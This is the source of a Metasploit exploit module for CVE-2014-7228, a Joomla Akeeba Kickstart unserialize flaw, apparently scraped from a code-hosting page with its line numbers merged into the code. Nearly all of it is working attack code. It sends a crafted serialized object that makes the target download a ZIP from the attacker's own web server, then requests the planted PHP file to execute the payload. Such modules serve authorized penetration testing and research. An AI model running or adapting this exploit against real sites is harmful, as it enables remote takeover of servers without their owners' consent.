Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'6require 'json'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::HttpClient12include Msf::Exploit::Remote::HttpServer::HTML13include Msf::Exploit::FileDropper1415def initialize(info={})16super(update_info(info,17'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",18'Description' => %q{19This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier203.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba21component, which is responsible for Joomla! updates. Nevertheless it is worth to note22that this vulnerability is only exploitable during the update of the Joomla! CMS.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Johannes Dahse', # Vulnerability discovery28'us3r777 <us3r777[at]n0b0.so>' # Metasploit module29],30'References' =>31[32[ 'CVE', '2014-7228' ],33[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],34[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],35[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],36],37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' =>40[41[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]42],43'Stance' => Msf::Exploit::Stance::Aggressive,44'Privileged' => false,45'DisclosureDate' => '2014-09-29',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),51OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])52])53end5455def check56res = send_request_cgi(57'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')58)5960if res && res.code == 20061return Exploit::CheckCode::Detected62end6364Exploit::CheckCode::Safe65end6667def primer68srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"6970php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'71php_filename = rand_text_alpha(8 + rand(8)) + '.php'7273# Create the zip archive74print_status("Creating archive with file #{php_filename}")75zip_file = Rex::Zip::Archive.new76zip_file.add_file(php_filename, payload.encoded)77@zip = zip_file.pack7879# First step: call restore to run _prepare() and get an initialized AKFactory80print_status("Sending PHP serialized object...")81res = send_request_cgi({82'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),83'vars_get' => {84'task' => 'stepRestore',85'factory' => Rex::Text.encode_base64(php_serialized_akfactory)86}87})8889unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/90print_status("#{res.code}\n#{res.body}")91fail_with(Failure::Unknown, "#{peer} - Unexpected response")92end9394# Second step: modify the currentPartNumber within the returned serialized AKFactory95json = /###(.*)###/.match(res.body)[1]96begin97b64encoded_prepared_factory = JSON.parse(json)['factory']98rescue JSON::ParserError99fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")100end101102prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)103modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')104105print_status("Sending initialized and modified AKFactory...")106res = send_request_cgi({107'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),108'vars_get' => {109'task' => 'stepRestore',110'factory' => Rex::Text.encode_base64(modified_factory)111}112})113114unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/115fail_with(Failure::Unknown, "#{peer} - Unexpected response")116end117118register_files_for_cleanup(php_filename)119120print_status("Executing payload...")121send_request_cgi({122'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)123}, 2)124125end126127def exploit128begin129Timeout.timeout(datastore['HTTPDELAY']) { super }130rescue Timeout::Error131# When the server stops due to our timeout, this is raised132end133end134135# Handle incoming requests from the server136def on_request_uri(cli, request)137if @zip && request.uri =~ /\.zip$/138print_status("Sending the ZIP archive...")139send_response(cli, @zip, { 'Content-Type' => 'application/zip' })140return141end142143print_status("Sending not found...")144send_not_found(cli)145end146147def autofilter148true149end150end151152153